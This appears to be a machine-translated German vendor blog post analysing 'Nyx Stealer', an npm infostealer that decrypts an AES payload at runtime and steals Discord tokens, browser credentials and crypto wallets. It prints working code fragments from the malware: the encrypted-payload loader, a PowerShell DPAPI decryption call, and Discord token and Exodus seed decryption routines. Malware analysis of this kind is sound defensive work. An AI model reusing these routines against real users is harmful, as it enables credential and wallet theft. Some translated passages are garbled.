npm Infostealer

Neue npm-Infostealer-Entdeckung: Nyx ​​Stealer kapert Discord-Sitzungen

TL; DR

Das Xygeni-Sicherheitsforschungsteam Eine ausgeklügelte npm-Infostealer-Kampagne wurde identifiziert, die über zwei bösartige Pakete ausgeliefert wurde: Konsole , Selbstbot-lofy.

Die neueste version (consolelofy@1.3.0) bettet eine 216 KB große, AES-verschlüsselte Nutzlast ein, die zur Laufzeit entschlüsselt und ausgeführt wird über vm.runInNewContext()Da die bösartige Logik vollständig verschlüsselt ist, können statische Scanner, die auf String-Inspektion basieren, ihr Verhalten erst zur Ausführungszeit beobachten.

Nach der Entschlüsselung wird die Nutzlast intern als Nyx-Dieb, Ziele:

  • Discord-Authentifizierungstoken
  • Mehr als 50 Browser-Anmeldeinformationsspeicher
  • Mehr als 90 Erweiterungen für Kryptowährungs-Wallets
  • Roblox-, Instagram-, Spotify-, Steam-, Telegram- und TikTok-Sessions
  • Discord-Desktop-Client-Persistenz

Alle 20 Versionen beider Pakete wurden als bösartig gemeldet und bestätigt.

Technischer Überblick über diesen npm Infostealer

Im Gegensatz zu herkömmlicher Malware, die zur Installationszeit ausgeführt wird, basiert diese Kampagne auf … Laufzeit Entschlüsselungsmodell.

Zur Auswahl stehen:

  • Keine böswillige Absicht preinstall or postinstall hooks
  • Keine offensichtlichen Netzwerkaufrufe während der Installation
  • Keine Logik zum Sammeln von Klartext-Anmeldeinformationen

Die Schadsoftware wird beim Import des Moduls aktiviert. Der gesamte schädliche Code ist verschlüsselt und wird erst zur Laufzeit im Speicher sichtbar.

Diese Konstruktion vermeidet gezielt eine Entdeckung während der Installation des Gehäuses.

Wie dieser npm Infostealer tatsächlich ausgeführt wird

Bevor wir analysieren, was Nyx Stealer stiehlt, müssen wir verstehen wie es ausgeführt wird.

Die bösartige Logik innerhalb dieses npm-Infostealers folgt einem einheitlichen Muster:

Ein kleiner Loader entschlüsselt eine große verschlüsselte Nutzlast und führt sie dynamisch innerhalb eines Node.js VM-Kontexts aus.

Dieses Design ist beabsichtigt. Der Angreifer verbirgt die Funktionalität nicht nur hinter Verschleierung, sondern… vollständig den schädlichen Code aus der statischen Sichtbarkeit entfernen.

Ausführungsmodell auf hoher Ebene

Im Wesentlichen erfüllt die Wrapper-Software vier Funktionen:

  • Leitet mithilfe von SHA-256 einen AES-Schlüssel aus einer fest codierten Passphrase ab.
  • Entschlüsselt einen großen hexadezimal kodierten Chiffretext mit AES-256-CBC
  • Führt den entschlüsselten JavaScript-Code aus. vm.runInNewContext()
  • Bietet eine Sandbox, die dennoch leistungsstarke Laufzeitprimitive zugänglich macht.

Zusammenfassung der Kerntechniken

Komponente Konfiguration / Wert
Algorithmus AES-256-CBC
Schlüsselableitung SHA-256 (Passphrase)
Initialisierungsvektor (IV) 16 Bytes vom Typ 0x00
Ausführung vm.runInNewContext(decrypted, sandbox)

Entscheidend ist, dass der Sandkasten Folgendes durchläuft:

  • require
  • process
  • Buffer
  • Timer
  • Modulexporte

Dies bedeutet, dass die entschlüsselte Nutzlast ihre volle Funktionalität behält:

  • Spawn-Prozesse
  • Dateien lesen und schreiben
  • Netzwerkanrufe tätigen
  • Lokale Anwendungen modifizieren

Dies ist keine eingeschränkte VM. Es handelt sich um eine VM, die als Ausführungs-Trampolin verwendet wird.

Laufzeitverschlüsselungsmuster (Kernausführungsmechanismus)

Der Lader ist klein.
Der bösartige Körper ist es nicht.

Nachfolgend ist das im Paket gefundene Ausführungsmuster aufgeführt:

const crypto = require('crypto');
const vm = require('vm');

function decryptAndExecute(encryptedHex, passphrase) {
    const key = crypto.createHash('sha256')
                      .update(passphrase)
                      .digest();

    const iv = Buffer.alloc(16, 0);

    const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
    let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');
    decrypted += decipher.final('utf8');

    const sandbox = {
        require,
        module,
        exports,
        console,
        process,
        Buffer,
        __dirname,
        __filename,
        setTimeout,
        setInterval,
        clearTimeout,
        clearInterval
    };

    vm.runInNewContext(decrypted, sandbox);
}

Warum dies wichtig ist

Die entschlüsselte Nutzlast:

  • Beeinflusst die kein Frontalunterricht. existieren im Klartext innerhalb des npm-Pakets
  • Ist für einfache Menschen unsichtbar grep oder statisches String-Scannen
  • Wird erst zur Laufzeit im Speicher sichtbar.
  • Wird mit vollen Node-Laufzeitfunktionen ausgeführt

Diese Kombination aus AES und VM-Ausführung ist ein starker Verhaltensindikator für ein npm-Infostealer versucht, die statische Inspektion zu umgehen.

Mit anderen Worten:

Wenn Sie den Quellcodebaum des Pakets scannen, finden Sie keinen Stealer.
Sie sehen einen Entschlüsseler.

Was geschieht nach der Entschlüsselung?

Nach der Ausführung startet Nyx Stealer parallele Datenerfassungswellen.

Welle 1: Extraktion von Browser-Anmeldeinformationen

Die Schadsoftware:

  • Lädt eine Python-Laufzeitumgebung vom NuGet CDN herunter
  • Installiert kryptografische Bibliotheken
  • Extrahiert Chromium-basierte Anmeldeinformationsspeicher
  • Entschlüsselt DPAPI-geschützte Geheimnisse

Anstatt native Bindungen zu kompilieren, nutzt es PowerShell, um die Windows DPAPI direkt aufzurufen.

function dpapiUnprotectWithPowerShell(dataBuf) {
    const b64 = dataBuf.toString('base64');

    const ps =
        "Add-Type -AssemblyName System.Security;" +
        "$b=[Convert]::FromBase64String('" + b64 + "');" +
        "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +
        "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +
        "[Console]::Out.Write([Convert]::ToBase64String($p))";

    const cmd =
        `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;

    return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64');
}

Dieser Ansatz:

  • Vermeidet Kompilierungsartefakte
  • Nutzt native Windows-Krypto-APIs
  • Passt in administrative Tools

Es handelt sich um die Entschlüsselung von Anmeldeinformationen auf Betriebssystemebene, nicht um das Auslesen von Anmeldeinformationen.

Welle 2: Discord-Token-Entschlüsselung

Der Angreifer kennt das Protokoll. Er versteht das verschlüsselte Token-Format von Discord.

function decryptToken(encryptedToken, key) {
    const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');
    const encryptedData = Buffer.from(tokenParts[1], 'base64');

    const iv = encryptedData.slice(3, 15);
    const ciphertext = encryptedData.slice(15, -16);
    const tag = encryptedData.slice(-16);

    const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
    decipher.setAuthTag(tag);

    return decipher.update(ciphertext).toString('utf8');
}

Betriebsablauf:

  • Extrahiere den Master-Key aus Discord. Local State
  • Entschlüsselung des Hauptschlüssels über DPAPI
  • AES-GCM-Token-Blobs entschlüsseln
  • Tokens anhand der Discord-API validieren
  • Mit Nitro bereichern, Abzeichen, Rechnungsinformationen

Dies ist kein allgemeines Auslesen von Anmeldeinformationen. Es handelt sich um protokollbewusstes Session-Hijacking.

Welle 3: Zielsetzung für Kryptowährungs-Wallets

Der npm Infostealer listet Folgendes auf:

  • Mehr als 90 Browser-Wallet-Erweiterungen
  • 27 Desktop-Wallets
  • Cold Wallet-Pfade
  • Exodus-Seeddateien

Beispiel für einen Seed-Entschlüsselungsversuch:

function decryptSeco(content, password) {
    const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');

    const decipher = crypto.createDecipheriv(
        'aes-256-gcm',
        key,
        content.slice(0, 12)
    );

    decipher.setAuthTag(content.slice(-16));

    return Buffer.concat([
        decipher.update(content.slice(12, -16)),
        decipher.final()
    ]).toString('utf8');
}

Im Erfolgsfall ist der Zugriff auf die digitale Geldbörse sofort und unumkehrbar.

Dies stellt den wertvollsten Monetarisierungsvektor der Kampagne dar.

Persistenz durch Discord Desktop Injection

Nachdem Nyx Stealer Zugangsdaten erlangt hat, versucht er, sich dauerhaft im lokalen Netzwerk zu etablieren. Discord Kunden.

Ziel:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Ablauf

Der Infostealer führt folgende Schritte aus:

  • Beendet laufende Discord-Prozesse
  • Erkennt installierte Discord-Varianten (Stable, Canary, PTB)
  • Überschreibt discord_desktop_core/index.js
  • Fügt vom Angreifer kontrollierte Webhook-Logik ein.
  • Discord wird neu gestartet

Dadurch wird sichergestellt, dass zukünftige Discord-Sitzungen automatisch neue Authentifizierungstoken ausgeben.

Wichtig ist, dass diese Persistenz nicht auf geplanten Aufgaben oder Registry-Änderungen beruht. Sie nutzt Codeänderungen auf Anwendungsebene – ein unauffälligerer Ansatz.

Selbst wenn das schädliche npm-Paket später entfernt wird, bleibt der Discord-Client kompromittiert.

Technischer Vergleich: Legitimer Selfbot vs. npm Infostealer

Komponente Legitime Bibliothek Nyx npm Infostealer
Verschlüsselung Keine Präsentation Vollständige AES-verschlüsselte Nutzlast
Laufzeit-VM Nicht erforderlich vm.runInNewContext Ausführung
Zugang zu Anmeldeinformationen Discord-API Browser, Wallets, DPAPI
Externe Downloads Nein Python-Laufzeitumgebung über NuGet
Beharrlichkeit Nein Discord-Client-Injection
Monetisierung Bot-Automatisierung Weiterverkauf von Zugangsdaten

Allein die Verschlüsselungsschicht unterscheidet diese Kampagne schon von einem typischen Open-Source-Fork.

Ein legitimer Discord-Selfbot hat keinen Grund, seinen gesamten Quellcode zu verschlüsseln, PowerShell für den Zugriff auf die DPAPI zu starten, externe Laufzeitumgebungen herunterzuladen oder interne Funktionen von Desktop-Anwendungen zu verändern. Wenn diese Funktionen jedoch in einer Abhängigkeit auftreten, die vorgibt, Discord-Interaktionen zu automatisieren, ist die architektonische Diskrepanz nicht mehr zu übersehen.

Aus Ermittlungssicht hinterlässt dieser npm-Infostealer Spuren auf mehreren Ebenen. Die zuverlässigsten Indikatoren sind jedoch nicht fest codierte URLs oder spezifische Dateipfade, da diese sich zwischen Versionen ändern können. Stattdessen liefern strukturelle Merkmale dauerhafte Hinweise.

Auf Paketebene ist das stärkste Warnsignal die Kombination aus einer großen verschlüsselten Nutzlast und einem Laufzeit-Entschlüsselungs-Wrapper, der sofort ausgeführt wird. vm.runInNewContext(). Obwohl Verschlüsselung an sich nicht per se bösartig ist, ist die Verwendung von AES-Entschlüsselung mit anschließender dynamischer VM-Ausführung innerhalb eines Discord-Utility-Pakets höchst ungewöhnlich.

Auf Host-Ebene umfassen verdächtige Muster unerwartete DPAPI-Entschlüsselungsaktivitäten, das Starten von Prozessen aus einem Node.js-Abhängigkeitskontext und die Modifizierung lokaler Anwendungsdateien, die von Drittanbieterbibliotheken niemals verändert werden sollten. Ebenso stellt auf der Netzwerkschicht ausgehende Webhook-Kommunikation, die von einer Entwicklungsabhängigkeit initiiert wird, eine weitere aussagekräftige Anomalie dar.

Anders ausgedrückt: Die Erkennungsfläche ist kein einzelner Indikator für eine Kompromittierung. Erst das Zusammenspiel von Verschlüsselung, Laufzeitausführung, Zugriffsrechten und Persistenzverhalten deckt die Bedrohung auf.

Erkennung und Eindämmung mit Xygeni

npm Infostealer

Dieser npm-Infostealer wurde identifiziert von Xygenis Malware-Frühwarnung (MEW) durch geschichtete Verhaltenskorrelation anstatt durch einfaches Abgleichen von Signaturen.

Anstatt nach bekannten schädlichen Zeichenketten zu suchen, analysiert MEW strukturelle Anomalien im gesamten Quellcodebaum. In diesem Fall ergab sich die Erkennung aus dem Zusammentreffen mehrerer Signale: einer eingebetteten AES-Entschlüsselungsroutine im Modul-Einstiegspunkt, der sofortigen Ausführung innerhalb eines VM-Kontexts und einer deutlichen Diskrepanz zwischen Fähigkeit und Absicht.

Wichtig ist, dass keines dieser Signale allein böswillige Absicht beweist. In ihrer Gesamtheit analysiert, decken sie jedoch den Versuch auf, das Laufzeitverhalten zu verschleiern. Dieser mehrstufige Ansatz reduziert Fehlalarme deutlich und identifiziert gleichzeitig hochsignifikante Bedrohungen der Lieferkette.

Dieser Fall verdeutlicht zudem, warum eine Überprüfung zur Installationszeit allein nicht ausreicht. Die schädliche Logik befindet sich nicht in den Lebenszyklusskripten. Sie wird erst nach dem Laden des Moduls aktiviert und erst nach der Entschlüsselung im Speicher sichtbar. Daher erfordert eine wirksame Verteidigung eine verschlüsselte Analyse, die Erkennung von Verhaltensmustern und die kontinuierliche Überwachung von Abhängigkeiten, die über die Installationsereignisse hinausgeht.

Die Entfernung eines Registry-Eintrags erfolgt reaktiv. Die laufzeitbasierte Analyse ist präventiv.

Warum dieser npm-Infostealer wichtig ist

Nyx Stealer stellt eine strukturelle Weiterentwicklung von npm-basierter Malware dar.

In der Vergangenheit nutzten viele Schadprogramme sichtbare Installationsskripte oder offensichtliche Angriffspunkte zum Abgreifen von Anmeldeinformationen. Diese Kampagne hingegen verschlüsselt ihre Nutzdaten, verschiebt die Ausführung zur Laufzeit, verwendet legitime Betriebssystem-APIs und nistet sich dauerhaft in vertrauenswürdigen Anwendungen ein.

Folglich muss der Angreifer die npm-Infrastruktur selbst nicht ausnutzen. Der Angriff gelingt vielmehr, weil die Installation von Abhängigkeiten Vertrauen impliziert. Entwickler gehen davon aus, dass das Importieren einer Bibliothek ein sicherer Vorgang ist, insbesondere wenn diese als plausibler Fork eines populären Tools erscheint.

Mit dem Wachstum von Ökosystemen und der zunehmenden Verbreitung von Forks wird diese implizite Vertrauensgrenze zu einer immer attraktiveren Angriffsfläche. Daher erfordert die Verteidigung gegen moderne npm-Infostealer das Erkennen architektonischer Muster anstatt der Suche nach statischen Zeichenketten.

Letztendlich bekräftigt diese Kampagne eine wichtige Lektion in software supply chain securityDie gefährlichsten Bedrohungen sind nicht diejenigen, die auf den ersten Blick bösartig erscheinen, sondern diejenigen, die strukturell legitim wirken, bis sich ihr wahres Verhalten zur Laufzeit offenbart.

SCA-Tools-Software-Zusammensetzungs-Analyse-Tools
Priorisieren, beheben und sichern Sie Ihre Softwarerisiken
7-Tage kostenlose Testversion
Keine Kreditkarte erforderlich

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite